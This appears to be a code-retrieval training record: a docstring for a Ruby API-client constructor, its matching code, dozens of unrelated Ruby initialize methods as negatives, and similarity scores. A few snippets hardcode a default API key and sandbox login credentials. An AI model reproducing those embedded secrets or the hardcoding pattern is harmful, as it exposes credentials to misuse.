the constructor Required parameters arch_dev_key:: Your Architect dev key headers:: headers for the request for rails that would be request.env Returns a new instance of Wapl
def initialize(arch_dev_key = "", headers = {}) @dev_key= arch_dev_key @header_string = self.parse_headers(headers) @api_root="http://webservices.wapple.net" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(api_key)\n @api_key = api_key\n self.class.headers({\n \"X-API-Key\" => @api_key,\n \"Accept\" => \"application/json\"\n })\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def initialize\n @headers = {\n \"Authorization\" => \"token #{ENV[\"AUTH_TOKEN\"]}\",\n \"User-Agent\" => \"HTTParty\"\n }\n end", "def wm(gw = self)\n @wm ||= Class.new do\n include ::Webmoney\n def initialize(_gw)\n @ssl_cert = OpenSSL::X509::Certificate.new File.read(_gw.cert)\n super(:wmid => _gw.wmid, :cert => @ssl_cert )\n end\n end.new(gw)\n @wm\n end", "def initialize(url: \"https://www.hybrid-analysis.com/api/v2\", key: ENV[\"HYBRID_ANALYSIS_API_KEY\"])\n @url = url\n\n @header = { \n \"User-Agent\" => \"Falcon Sandbox\", \n \"api-key\" => key\n }\n end", "def initialize(env)\n @traits = Class.new { include Attributes }.new( :waves => {} )\n @request = Rack::Request.new(env).freeze\n @response = Waves::Response.new( self )\n end", "def initialize(params={})\n @zipcode = params[:zipcode]\n @radius = params[:radius]\n unless CareerBuilder.const_defined?(\"API_KEY\")\n raise ApiError, \"CareerBuilder::API_KEY not found\"\n end\n @http = Patron::Session.new\n @http.base_url = \"http://api.careerbuilder.com/v1\"\n reset_caches\n end", "def initialize()\n self.apikey = Rails.application.credentials.alpha_api_key\n end", "def initialize(auth, user_agent = nil, api_url: 'https://api.weeb.sh')\n @user_agent = WeebSh::API.format_user_agent(user_agent)\n @auth = auth\n @api_url = api_url\n\n raise WeebSh::Err::BadAuth, 'Authorization is empty!' if auth.empty?\n puts '[WeebSh::Client] Your User Agent is empty. Please consider adding a user agent to help identify issues easier.' if user_agent.nil?\n puts '[WeebSh::Client] Your User Agent is not ideal. Please consider adding a user agent to help identify issues easier.' if !user_agent.nil? && user_agent.split('/').count < 2\n\n @toph = WeebSh::Toph.new(auth, user_agent, api_url: api_url, client: self)\n @korra = WeebSh::Korra.new(auth, user_agent, api_url: api_url, client: self)\n @shimakaze = WeebSh::Shimakaze.new(auth, user_agent, api_url: api_url, client: self)\n @tama = WeebSh::Tama.new(auth, user_agent, api_url: api_url, client: self)\n end", "def initialize (wurfl_id,useragent,fallback=nil) \n # A hash to hold keys and values specific to this handset\n @capabilityhash = Hash::new \n @wurfl_id = wurfl_id.to_s\n @user_agent = useragent.to_s\n @fallback = fallback\n end", "def initialize(public_key=nil, secret_key=nil, production=false)\n @public_key = public_key\n @secret_key = secret_key\n @production = production\n\n okra_sandbox_url = BASE_ENDPOINTS::OKRA_SANDBOX_URL\n okra_live_url = BASE_ENDPOINTS::OKRA_LIVE_URL\n\n #set okra url to sandbox or live if we are in production or development\n\n if production ==false\n @url = okra_sandbox_url\n else\n @url = okra_live_url\n end\n\n def base_url\n return url\n end\n\n #check if we set our public, secret keys to the environment variable\n\n if (public_key.nil?)\n @public_key = ENV['OKRA_PUBLIC_KEY']\n else\n @public_key = public_key\n end\n\n if (secret_key.nil?)\n @secret_key = ENV['OKRA_SECRET_KEY']\n else\n @secret_key = secret_key\n end\n\n warn \"Warning: To ensure your okra api keys are safe, It is best to always set your keys in the environment variable\"\n\n #raise this error if no public key is passed\n\n unless !@public_key.nil?\n\n raise OkraBadKeyError, \"No public key supplied and couldn't find any in environment variables. Make sure to set public key as an environment variable OKRA_PUBLIC_KEY\"\n end\n\n #raise this error if no secret key is passed\n\n unless !@secret_key.nil?\n\n raise OkraBadKeyError, \"No secret key supplied and couldn't find any in environment variables. Make sure to set secret key as an environment variable OKRA_SECRET_KEY\"\n end\n\n end", "def initialize (api_key)\n\t\t@params = {\n\t\t\t\"key\" => api_key,\n\t\t\t\"wrapper\" => \"cleverbotrb\"\n\t\t}\n\t\t@endpoint = ENDPOINT\n\tend", "def initialize api_key=ENV['b2w_api_key'], api_url=\"http://api.born2win.local/v2/events\"\n @api_url = api_url\n @api_key = api_key\n end", "def initialize(params)\n\n fail 'missing API Base URL' if params[:api_base_url].nil?\n fail 'missing API Key' if params[:api_key].nil?\n fail 'missing API Secret' if params[:api_secret].nil?\n\n params[:api_base_url] = params[:api_base_url].gsub(/\\/$/, '') # remove trailing slash\n params[:api_spec] = false if params[:api_spec].nil?\n\n set_manifest(params)\n\n end", "def initialize(linker, app_name,api_key,api_secret)\n @linker=linker\n @applicationName=app_name\n @apiKey=api_key\n @apiSecret=api_secret\n end", "def initialize\n\t\t@zomato = Zomato::Base.new(@@api_key)\n\tend", "def initialize(args = {})\n config = AstroPay.configuration\n\n @x_login = config.direct_x_login\n @x_trans_key = config.direct_x_trans_key\n @x_login_for_webpaystatus = config.direct_x_login_for_webpaystatus\n @x_trans_key_for_webpaystatus = config.direct_x_trans_key_for_webpaystatus\n @secret_key = config.direct_secret_key\n @sandbox = config.sandbox\n @response_type = 'json'\n\n super\n\n subdomain = 'sandbox.' if @sandbox\n\n @astro_urls = {\n \"create\" => \"https://#{subdomain}astropaycard.com/api_curl/apd/create\",\n \"status\" => \"https://#{subdomain}astropaycard.com/apd/webpaystatus\",\n \"exchange\" => \"https://#{subdomain}astropaycard.com/apd/webcurrencyexchange\",\n \"banks\" => \"https://#{subdomain}astropaycard.com/api_curl/apd/get_banks_by_country\"\n }\n end", "def initialize(app, params = {})\n super(app, params)\n app.class.send(:include, Actions)\n app.lighthouse = self\n Lighthouse.account = params['account']\n Lighthouse.token = params['token']\n @project_id = params['project_id']\n end", "def initialize(apikey='f47a72ab00afe64aab78b9919ee3d427')\n\t\t@api_key = apikey\n\t\t@headers = {\"Accept\" => \"application/JSON\", \"user-key\" => @api_key}\n\t\t@base_uri = \"https://developers.zomato.com/api/v2.1/\"\n\tend", "def initialize(api_key)\n @api_key = api_key \n end", "def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'ACW',\n :default_host => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).host : DEFAULT_HOST,\n :default_port => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).port : DEFAULT_PORT,\n :default_service => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).path : DEFAULT_PATH,\n :default_protocol => ENV['ACW_URL'] ? URI.parse(ENV['ACW_URL']).scheme : DEFAULT_PROTOCOL,\n :default_api_version => ENV['ACW_API_VERSION'] || API_VERSION },\n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] ,\n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end", "def initialize(attributes = {})\n super\n self.api_endpoint ||= Orias.configuration.api_endpoint\n self.per_request ||= Orias.configuration.per_request\n self.private_key ||= Orias.configuration.private_key\n end", "def initialize(env)\n @env = env\n @raw = _extract_params\n @params = Utils::Hash.new(@raw).symbolize!.to_h\n freeze\n end", "def build\n headers = {\n 'Authorization' => \"Passcode #{passcode}\",\n }\n headers['Content-Type'] = content_type if content_type\n headers['Sub-Merchant-Id'] = sub_merchant_id if sub_merchant_id\n headers\n end", "def initialize(api_key, source, config = {})\n raise ArgumentError.new('Your need to specify your api key') unless api_key\n raise ArgumentError.new('You need to specify a source website') unless source\n\n\n defaults = {\n :api_version => API_VERSION\n }\n\n @config = defaults.merge(config).freeze\n @api_key = api_key\n @source = source\n @litmosURL = \"https://api.litmos.com/v#{@config[:api_version]}.svc/\"\n @devURL = \"http://apidev.litmos.com/v#{@config[:api_version]}.svc/\"\n end", "def initialize(hash = {})\n super(hash)\n\n @acrEssential = extract_value(hash, :acrEssential)\n @acrs = extract_value(hash, :acrs)\n @action = extract_value(hash, :action)\n @claimLocales = extract_value(hash, :claimLocales)\n @claims = extract_value(hash, :claims)\n @client = Authlete::Model::Client.new(extract_value(hash, :client))\n @clientIdAliasUsed = extract_boolean_value(hash, :clientIdAliasUsed)\n @display = extract_value(hash, :display)\n @loginHint = extract_value(hash, :loginHint)\n @lowestPrompt = extract_value(hash, :lowestPrompt)\n @maxAge = extract_integer_value(hash, :maxAge)\n @prompts = extract_value(hash, :prompts)\n @responseContent = extract_value(hash, :responseContent)\n @service = Authlete::Model::Service.new(extract_value(hash, :service))\n @scopes = extract_array_value(hash, :scopes) do |element|\n Authlete::Model::Scope.parse(element)\n end\n @subject = extract_value(hash, :subject)\n @ticket = extract_value(hash, :ticket)\n @uiLocales = extract_value(hash, :uiLocales)\n end", "def initialize(params={})\n self.api_url = 'https://pay1.plugnpay.com/payment/pnpremote.cgi'\n # self.api_url = 'https://pay1.plugnpay.com/payment/inputtestapi.cgi'\n self.publisher_name = params['publisher-name'] if params['publisher-name']\n self.debug = params['debug'] if params['debug']\n end", "def initialize(instance_name, api_key, auth_key)\n super()\n\n self.instance_name = instance_name\n self.api_key = api_key\n self.auth_key = auth_key if auth_key.present?\n end", "def with_authorization\n self.baw_security = [{ auth_token_header: [] }]\n let(:Authorization) { admin_token }\n end", "def initialize( api_key )\n @api_key = api_key\n end", "def initialize(api_key, shortcode, debug=false)\n @api_key = api_key\n @shortcode = shortcode\n @debug = debug\n end", "def initialize(obj)\n @controller = (obj if obj.is_a?(Blacklight::Controller))\n @blacklight_config = @controller&.blacklight_config || obj\n @key = @blacklight_config.lens_key\n end", "def headers\r\nHttp::Headers.new(@env)\r\nend", "def initialize(api_key)\n @options = { headers: { 'Authorization' => \"token #{api_key}\" } }\n end", "def initialize()\n #@appliance_name, @appliance_url = Morpheus::Cli::Remote.active_appliance\n end", "def initialize(api_key)\n @api_key = api_key\n end", "def initialize(order_hash)\n\n\n\n @action = order_hash['action']\n @application = order_hash['applicatienaam']\n @environment = order_hash['environment']\n\n @type = order_hash['applicatieserver']\n @template = order_hash['template']\n\n @middleware_settings = order_hash['middleware']\n\n @environment = order_hash['omgeving']\n\n # compose the order hash. This will get passed to the process later on\n @order_hash = {\n 'application' => @application,\n 'environment' => @environment,\n 'items' => get_order_template(order_hash)\n }\n\n @pdef = get_ruote_pdef\n\n\n end", "def initialize(client, params = {}, api_ver = nil)\n super\n # Default values:\n @data['enclosureType'] ||= 'SY12000'\n @data['enclosureIndexes'] ||= [1]\n @data['state'] ||= 'Active'\n @data['uplinkSets'] ||= []\n @data['internalNetworkUris'] ||= []\n @data['type'] ||= 'logical-interconnect-groupV300'\n @data['interconnectBaySet'] ||= 1\n @data['interconnectMapTemplate'] ||= {}\n @data['interconnectMapTemplate']['interconnectMapEntryTemplates'] ||= []\n @data['redundancyType'] ||= 'Redundant'\n end", "def initialize(app_class, env)\n\t\t\t@app_class = app_class\n\t\t\t@env = env\n\t\t\t@request = Flame::Dispatcher::Request.new(env)\n\t\t\t@response = Flame::Dispatcher::Response.new\n\t\tend", "def initialize(&block)\n class <<self\n self\n end.class_eval do\n attr_accessor(:commodity, *PostData::PostParam) \n end\n \n # return-back to merchant-web\n self.customer_specification_flag = Config::CUSTOMER_SPECIFICATION_FLAG \n self.settlement_type = Config::SETTLEMENT_TYPE_CARD\n\n # if block_given?\n # yield(self) #self.instance_eval(&block)\n # return self.get_keys\n # end\n end", "def initialize(attributes = {})\n attributes[:api_key] = SecureRandom.hex(32)\n super\n end", "def initialize()\n # @appliance_name, @appliance_url = Morpheus::Cli::Remote.active_appliance\n end", "def initialize(zwsid)\n @zwsid=zwsid\n end", "def initialize\n @api_user = \"\"\n @api_key = \"\"\n end", "def initialize base_url, api_key\n\t\t\t\t\t@connection = Freshdesk::Api::Client::Request.new base_url, api_key\n\t\t\t\tend", "def initialize(merchant_Id,working_Key,redirect_Url)\n \t\t@merchant_Id = merchant_Id\n \t\t@redirect_Url = redirect_Url\n \t\t@working_Key = working_Key\n \tend", "def initialize(x_cisco_meraki_api_key: nil)\r\n Configuration.x_cisco_meraki_api_key = x_cisco_meraki_api_key if\r\n x_cisco_meraki_api_key\r\n end", "def Toadhopper(api_key)\n Toadhopper.new(api_key)\nend", "def initialize(**args)\n @api_base = args[:api_base] || 'https://philomena.local/api/v1/json'\n @api_key = args[:key]\n @sfw_filter = args[:sfw_filter] || '1'\n @nsfw_filter = args[:nsfw_filter] || '2'\n @everything_filter = args[:everything_filter] || '2'\n @hidden_tags = args[:hidden_tags] || []\n @no_search_tags = args[:no_search_tags] || []\n end", "def create_api_instance\n facturama_user='prueba'\n facturama_password='pruebas2011'\n is_development = true # true = Modo de pruebas / sandbox, false = Modo de Producción (Timbrado real)\n\n\n #Creacion de una instancia de FacturamaApi\n Facturama::FacturamaApiWeb.new(facturama_user,facturama_password,is_development)\n end", "def initialize(api_key, region = 'na')\n @api_key = api_key\n @region = region\n @http = Hurley::Client.new\n @http.header[:content_type] = 'application/json'\n @http.query['api_key'] = api_key\n end", "def alm_headers\n {\n \"Authorization\" => \"Bearer #{ENV[\"ALM_BEARER_TOKEN\"]}\"\n }\n end", "def initialize(env, key)\n @env = env\n @key = key\n end", "def initialize\n # pass\n @truncation_helper = ::Datadog::DistributedTracing::Headers::Headers.new({})\n end", "def initialize(license_key)\n @api = SOAP::WSDLDriverFactory.new(@@wsdl).create_rpc_driver\n @license_key = license_key\n end", "def initialize(path_parameters, request_adapter)\n super(path_parameters, request_adapter, \"{+baseurl}/applications/{application%2Did}/appManagementPolicies/{appManagementPolicy%2Did}\")\n end", "def initialize\n self.key = ''\n self.uuid = ''\n self.url = {\n development: 'http://localhost:3000'\n }\n self.env = :development\n end", "def initialize(details)\r\n\t\t@name=details[:name]\r\n\t\t@language=details[:language]\r\n\t\t@release_date=details[:release_date]\r\n\tend", "def initialize\n self.cache_ttl = 60\n self.api_path = 'https://api-pl.easypack24.net/v4/'\n end", "def initialize(params)\n @client = params[:client]\n @user_kyc_detail = params[:user_kyc_detail]\n @kyc_whitelist_log = params[:kyc_whitelist_log]\n\n @edit_kyc_request = nil\n end", "def initialize(api_key)\n raise ArgumentError, 'api_key is required' if api_key == nil || api_key.empty?\n @api_key = api_key\n\t\tend", "def initialize(api_key)\n @api_key = api_key\n end", "def initialize(api_key)\n @api_key = api_key\n end", "def initialize(api_key)\n @api_key = api_key\n end", "def initialize(headers = nil, cookies = nil) # Particular Ruby API version\n @headers = headers\n @cookies = cookies\n @settings = Settings.new\n @called_servers = []\n\tend", "def initialize(apikey)\n @apikey = apikey\n end", "def initialize( configuration )\n\n if configuration.is_a?(Module) && configuration.to_s == 'Edelements'\n config = configuration\n elsif configuration.is_a?(Hash)\n config = Hashie::Rash.new( configuration )\n config.api_url = [config.endpoint,config.api_version].join('/')\n end\n\n #if config.api_key\n #self.class.default_params({ 'api_key' => config.api_key})\n #else\n #raise Edelements::InvalidCredentials.new(\"Api Key is not present but it is required.\")\n #end\n\n self.class.base_uri( config.api_url ) if config.api_url\n self.class.default_timeout config.timeout.to_f if config.timeout\n self.class.debug_output if config.testing\n self.class.headers({'User-Agent' => config.user_agent}) if config.user_agent\n end", "def initialize\n OperaWatir.compatibility! unless OperaWatir.api >= 3\n\n self.driver = OperaDriver.new(self.class.desired_capabilities)\n self.active_window = OperaWatir::Window.new(self)\n self.preferences = OperaWatir::Preferences.new(self)\n self.keys = OperaWatir::Keys.new(self)\n self.spatnav = OperaWatir::Spatnav.new(self)\n self.utils = OperaWatir::Utils.new(self)\n end", "def initialize(hash={})\n @hash = hash\n @api_key = hash[:api_key] if hash.has_key? :api_key\n\n super(hash[:api_url] || 'https://api.ramcoams.com/api/v2/') do |builder|\n yield builder if block_given?\n builder.use FaradayMiddleware::RaiseHttpException\n end\n end", "def initialize(api_key=nil)\n @api_key = api_key || ENV['KULER_API_KEY'] || raise(ArgumentError, 'no API key found')\n end", "def initialize(ya_auth,report_info)\n @status_report=report_info[:StatusReport]\n @report_id=report_info[:ReportID]\n @status_report=report_info[:StatusReport]\n @url=report_info[:Url]\n \n @ya_auth=ya_auth\n end", "def initialize(attrs, api_params, headers = {})\n # Check API parameters hash\n raise \"API parameters must be Hash\" unless api_params.kind_of? Hash\n ['server', 'port', 'path'].each do |param_name|\n unless api_params[param_name]\n raise \"'#{param_name}' is not defined in API parameters hash\"\n end\n end\n\n @server = api_params['server']\n @port = api_params['port']\n \n @headers = if headers.kind_of? Hash\n { 'Connection' => 'close' }.merge!(headers)\n else\n { 'Connection' => 'close' }\n end\n \n super attrs.merge({ 'api_url' => make_api_url(api_params) })\n end", "def initialize(token, configuration = nil)\n @token = token\n @configuration = configuration || JWTEasy.configuration\n @headers = {}\n end", "def initialize(headers)\n @headers = headers\n end", "def initialize(key, region)\n\t\t\t@api_key = key\n\t\t\t@region = region\n\t\t\t@api_suffix = \"?api_key=\" + @api_key\n\t\t\t@entry_point = \"http://prod.api.pvp.net/api/lol/\" + @region +\"/v1.1/\"\n\t\tend", "def initialize(api_key:)\n @api_key = api_key\n end", "def initialize\r\n @apiKey = API_KEY\r\n @secret = SECRET\r\n end", "def headers\n { 'x-apigw-api-id' => tmp_api_id }\n end", "def initialize(api_key: nil)\r\n Configuration.api_key = api_key\r\n end", "def initialize\n @headers = HeaderHash.new\n @trace = []\n self.code = 200\n self.redirect = false\n end", "def initialize(client, params = {}, api_ver = nil)\n super\n @data['buildPlans'] ||= []\n @data['planScripts'] ||= []\n @data['deploymentPlans'] ||= []\n @data['goldenImages'] ||= []\n end", "def initialize()\n\t\t@url = \"http://lcboapi.com/products\"\n\t\t@id = 0\n\t\t@term = \"\"\n\t\t@result = []\n\t\t@single = {}\n\tend", "def initialize(api_key)\n ENTITIES.each do |entity|\n eval(\"Easybill::Api::#{entity}\").authenticate api_key\n end\n self\n end", "def initialize(attributes={})\n @body = attributes[:body]\n @headers = HTTY::Headers.new\n Array(attributes[:headers]).each do |name, value|\n @headers[name] = value\n end\n end", "def initialize\n @app_name = \"FPS\"\n @http_method = \"GET\"\n @service_end_point = Rails.application.config.amazon_fps_endpoint\n @version = \"2008-09-17\"\n\n @access_key = Rails.application.config.aws_access_key\n @secret_key = Rails.application.config.aws_secret_key\n @params = get_default_parameters()\n end", "def call(env)\n @wawaccess.call(env)\n end", "def initialize\n @shop_url = \"https://#{ENV[\"SHOPIFY_API_KEY\"]}:#{ENV[\"SHOPIFY_PASSWORD\"]}@#{ENV[\"SHOP\"]}.myshopify.com/admin\"\n ShopifyAPI::Base.site = @shop_url\n end", "def headers\n hash = {}\n hash['Content-Type'] = 'application/json'\n hash['Authorization'] = \"ShacipKey #{api_key}\" unless api_key.nil?\n hash\n end", "def initialize(key, version)\n # Sets API key and Version\n # Set api_key and check its correct format\n raise 'Version must be 1 or 2' unless %w[1 2].include?(version)\n\n warn('Warning: API key `1` is only for development') if key.to_s == '1'\n @version = version\n @key = key.to_s\n @api_url = API_ENDPOINT + \"/v#{@version}/#{@key}/\"\n end", "def initialize(config)\n self.zconfig = Zapi::Zconfig.new(config)\n\t\t\t savon_setup\n $session = self\t\n\t\t end", "def initialize\n @key_files = []\n @host_key_files = []\n @use_agent = true\n @agent = nil\n end", "def initialize(client, params = {}, api_ver = nil)\n super\n # Default values:\n @data['enclosureType'] ||= 'SY12000'\n @data['enclosureIndexes'] ||= [1]\n @data['state'] ||= 'Active'\n @data['type'] ||= 'sas-logical-interconnect-group'\n @data['interconnectBaySet'] ||= 1\n @data['interconnectMapTemplate'] ||= {}\n @data['interconnectMapTemplate']['interconnectMapEntryTemplates'] ||= []\n end", "def initialize(base_url,model_data)\n @base_url = base_url\n @model_data = model_data\n\n\n unless @requester_id = model_data[REQUESTER_ID]\n raise ArgumentError, \"Cannot create a #{self.class} without a requester_id\"\n end\n\n @authz_client = AuthzClient.new(resource, @requester_id, base_url)\n @id = model_data[OBJECT_ID]\n end", "def initialize\n # API support utilizes excon, if it isn't found an error will be raised\n require 'excon'\n\n # rXg production environments should ALWAYS have a valid certificate\n # If no valid certificate for device uncomment line below\n # Excon.defaults[:ssl_verify_peer] = false\n\n # Configure a static device address and API key here\n # Device address format example: https://google.com\n @device_address = set_device_address\n @device_api_key = set_api_key(@device_address)\n end", "def create\n token_ok, token_error = helpers.API_validate_token(request)\n if not token_ok\n render json: {message: token_error }, status: 401\n else\n begin\n\n # Get last order no. for company\n new_wr_no = Order.get_last_order_no(params['companyId'])\n\n # Save WR data\n wr_order = WarehouseReceipt.new\n # Block General\n wr_order.company_id = params['companyId']\n wr_order.client_id = params['clientId']\n wr_order.order_no = new_wr_no + 1\n wr_order.applicant_name = params['applicantName']\n wr_order.client_ref = params['clientRef']\n wr_order.delivery_datetime = params['deliveryDatetime']\n wr_order.eta = params['eta']\n wr_order.incoterm = params['incoterm']\n wr_order.legacy_order_no = params['legacyOrderNo']\n wr_order.observations = params['observations']\n wr_order.order_datetime = params['orderDatetime']\n wr_order.status = params['status']\n wr_order.order_type = params['orderType']\n wr_order.pieces = params['pieces']\n wr_order.shipment_method = params['shipmentMethod']\n wr_order.third_party_id = params['thirdPartyId']\n # Block Shipper\n wr_order.from_entity = params['fromEntity']\n wr_order.from_address1 = params['fromAddress1']\n wr_order.from_address2 = params['fromAddress2']\n wr_order.from_city = params['fromCity']\n wr_order.from_zipcode = params['fromZipcode']\n wr_order.from_state = params['fromState']\n wr_order.from_country_id = params['fromCountryId']\n wr_order.from_contact = params['fromContact']\n wr_order.from_email = params['fromEmail']\n wr_order.from_tel = params['fromTel']\n # Block Consignee\n wr_order.to_entity = params['toEntity']\n wr_order.to_address1 = params['toAddress1']\n wr_order.to_address2 = params['toAddress2']\n wr_order.to_city = params['toCity']\n wr_order.to_zipcode = params['toZipcode']\n wr_order.to_state = params['toState']\n wr_order.to_country_id = params['toCountryId']\n wr_order.to_state = params['toState']\n wr_order.to_contact = params['toContact']\n wr_order.to_email = params['toEmail']\n wr_order.to_tel = params['toTel']\n # GROUND\n wr_order.ground_entity = params['groundEntity']\n wr_order.ground_booking_no = params['groundBookingNo']\n wr_order.ground_departure_city = params['groundDepartureCity']\n wr_order.ground_departure_date = params['groundDepartureDate']\n wr_order.ground_arrival_city = params['groundArrivalCity']\n wr_order.ground_arrival_date = params['groundArrivalDate']\n # AIR\n wr_order.air_entity = params['airEntity']\n wr_order.air_waybill_no = params['airWaybillNo']\n wr_order.air_departure_city = params['airDepartureCity']\n wr_order.air_departure_date = params['airDepartureDate']\n wr_order.air_arrival_city = params['airArrivalCity']\n wr_order.air_arrival_date = params['airArrivalDate']\n # SEA\n wr_order.sea_entity = params['seaEntity']\n wr_order.sea_bill_landing_no = params['seaBillLandingNo']\n wr_order.sea_booking_no = params['seaBookingNo']\n wr_order.sea_containers_no = params['seaContainersNo']\n wr_order.sea_departure_city = params['seaDepartureCity']\n wr_order.sea_departure_date = params['seaDepartureDate']\n wr_order.sea_arrival_city = params['seaArrivalCity']\n wr_order.sea_arrival_date = params['seaArrivalDate']\n wr_order.save!\n\n puts '*** WR ORDER SALVADA: ' + wr_order.order_no.to_s\n\n respond_to do |format|\n format.json { render json: {message: \"Warehouse Receipt saved. WR No. #{r_order.order_no.to_s}\",\n orderId: wr_order.id,\n orderNo: wr_order.order_no},\n :status => 200 }\n end\n\n rescue => e\n puts \"*** WarehouseReceipt ERROR:\"\n puts e.backtrace\n respond_to do |format|\n format.json { render json: {message: 'Error saving the warehouse receipt no. ' + wr_order.order_no.to_s,\n extraMsg: e.message},\n :status => 404 }\n end\n end\n end\n end", "def initialize(api_key, blog, detector = :akismet)\n @api_key = api_key\n @blog = blog\n @detector = detector\n @verified_key = false\n @proxy_port = nil\n @proxy_host = nil\n end", "def initialize(details, retrofit)\n @compliance_data = details.deep_transform_keys { |key| key.underscore.to_sym }\n @retrofit = retrofit\n end" ]
[ "0.58475095", "0.5810169", "0.5810169", "0.5810169", "0.5810169", "0.5810169", "0.5806213", "0.5740626", "0.57339674", "0.57242423", "0.561992", "0.5587999", "0.5584692", "0.5577625", "0.5553039", "0.55166745", "0.5484508", "0.54777163", "0.5474799", "0.54689604", "0.5440999", "0.54304844", "0.5419791", "0.5417569", "0.5407736", "0.5372073", "0.5369581", "0.5366032", "0.53426737", "0.5337361", "0.5297472", "0.5285055", "0.52803516", "0.52697307", "0.5259826", "0.5252003", "0.5240266", "0.5231576", "0.52308786", "0.52259135", "0.5217101", "0.52160436", "0.52150196", "0.5201228", "0.5195588", "0.5169848", "0.51677257", "0.5164897", "0.51622665", "0.51556504", "0.5150489", "0.5148478", "0.51479644", "0.51441026", "0.5141516", "0.514038", "0.5138775", "0.5134393", "0.5126233", "0.51259494", "0.5121025", "0.511729", "0.5115075", "0.5114487", "0.51144606", "0.51144606", "0.51144606", "0.511272", "0.51097846", "0.5104479", "0.50981784", "0.5092487", "0.5088983", "0.5084892", "0.5076665", "0.5075838", "0.5074247", "0.5072824", "0.50724536", "0.506656", "0.5065043", "0.5059217", "0.5052704", "0.50466937", "0.5045439", "0.504222", "0.50415295", "0.50363773", "0.50301003", "0.5026858", "0.50215197", "0.50198126", "0.5015617", "0.50155437", "0.5006499", "0.50046164", "0.5001647", "0.49952266", "0.4987916", "0.4983788" ]
0.72529143
0
Parses the request headers and gets only HTTP_ headers returns properly formatted string of keys and values
def parse_headers(headers_hash) header_string = "" for header in headers_hash.select { |k,v| k.match("^HTTP.*") } do header_string += header[0]+":"+header[1]+"|" end return header_string end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_headers\n headers = {}\n @request.lines[1..-1].each do |line|\n # puts line.inspect\n # puts line.split.inspect\n return headers if line == \"\\r\\n\" # Because HTTP header's last line will be /r/n we return bc we're done\n header, value = line.split\n header = normalize(header)\n headers[header] = value\n end\n \n return headers\n end", "def headers\n @headers.reject {|k, v| k == :body }.map do |k, v|\n translate_header_name(k) + ': ' + v + \"\\n\"\n end.join\n end", "def get_request_headers\n request.env.find_all {|k, v|\n UnprefixedHeaders.include?(k) || k.start_with?('HTTP_')\n }.map {|k, v|\n range = UnprefixedHeaders.include?(k) ? 0..-1 : 1..-1\n [k.split('_')[range].map(&:downcase).map(&:capitalize).join('-'),\n v]\n }\n end", "def parseHeaders(request) \n headers = {};\n\n # Loop through headers\n request.lines[1..-1].each do |line|\n # If we are moving to the next line, return what we currently have\n return headers if line == \"\\r\\n\"\n\n # Structure data\n header, value = line.split\n header = header.gsub(\":\", \"\").downcase.to_sym\n headers[header] = value\n end\nend", "def get_headers\nheader_values = {}\n i = 1\n # while !params[:header][:type_.to_s + \"#{i}\"].nil?\n while !params[:header_values_.to_s + \"#{i}\"].nil?\n\t value = params[:header_values_.to_s + \"#{i}\"].map!{|i| CGI::unescape(i).gsub(\"\\\"\", \"'\")}\n \theader_values[params[:header][:type_.to_s + \"#{i}\"]] = value\n i += 1\n end\n header_values\nend", "def parse_headers(raw_headers)\n headers = {}\n raw_headers.each do |h|\n if h =~ /^# *([a-zA-Z_]+) *:(.*)/\n h_key = $1.downcase.intern\n h_value = $2.split(\",\").collect { |v| v.strip }\n if h_value.length > 0 # ignore empty headers\n headers[h_key] = h_value.length > 1 ? h_value : h_value[0]\n end\n end\n end\n \n return headers\n end", "def stringify_headers(headers); end", "def stringify_headers headers\n headers.inject({}) do |result, (key, value)|\n if key.is_a? Symbol\n key = key.to_s.split(/_/).map { |w| w.capitalize }.join('-')\n end\n if 'CONTENT-TYPE' == key.upcase\n target_value = value.to_s\n result[key] = MIME::Types.type_for_extension target_value\n elsif 'ACCEPT' == key.upcase\n # Accept can be composed of several comma-separated values\n if value.is_a? Array\n target_values = value\n else\n target_values = value.to_s.split ','\n end\n result[key] = target_values.map { |ext| MIME::Types.type_for_extension(ext.to_s.strip) }.join(', ')\n else\n result[key] = value.to_s\n end\n result\n end\n end", "def normalize_headers(headers)\n return {} unless headers\n\n headers = Hash[\n headers.map { |k, v| [k.gsub(HEADER_HTTP_PREFIX, '').capitalize, v] }\n ] # remove 'HTTP_' prefix in keys\n headers.delete_if { |_k, v| v.blank? } # remove pairs with empty values\n headers.keep_if { |k, _v| OCCI_KEYS.include?(k) } # drop non-OCCI pairs\n\n logger.debug \"Normalized headers #{headers.inspect}\" if logger_debug?\n headers\n end", "def get_http_header line\n return nil if not is_http_header? line\n parts = line.split(':')\n {parts[0].strip => parts[1].strip}\n end", "def raw_headers; end", "def request_headers\n @request_headers.map do |header, value|\n \"#{header}: #{value}\"\n end.join(\"\\n\")\n end", "def request_http_headers env\n env.inject({}) { |acc, (k, v)| acc[$1.downcase] = v if k =~ /^http_(.*)/i; acc }\n end", "def parse_headers(raw_headers)\n # raw headers from net_http have an array for each result. Flatten them out.\n raw_headers.inject({}) do |remainder, (k, v)|\n remainder[k] = [v].flatten.first\n remainder\n end\n end", "def headers\n @headers ||= self.class.beautify_headers(@net_http_res.to_hash)\n end", "def headers\n list = @response.header_str.split(/[\\r\\n]+/).map(&:strip)\n Hash[list.flat_map{ |s| s.scan(/^(\\S+): (.+)/) }.map { |pair|\n [pair.first.to_s.camelcase, pair.second]\n }]\n end", "def headers_hash\n @headers_hash ||= Hash[@http_headers.split(\"\\x00\").map{|x| x.split(': ',2)}]\n end", "def header_to_hash data\n header = {}\n data = data.split(@opts[:delimiter])\n self.req[\"Verb\"], 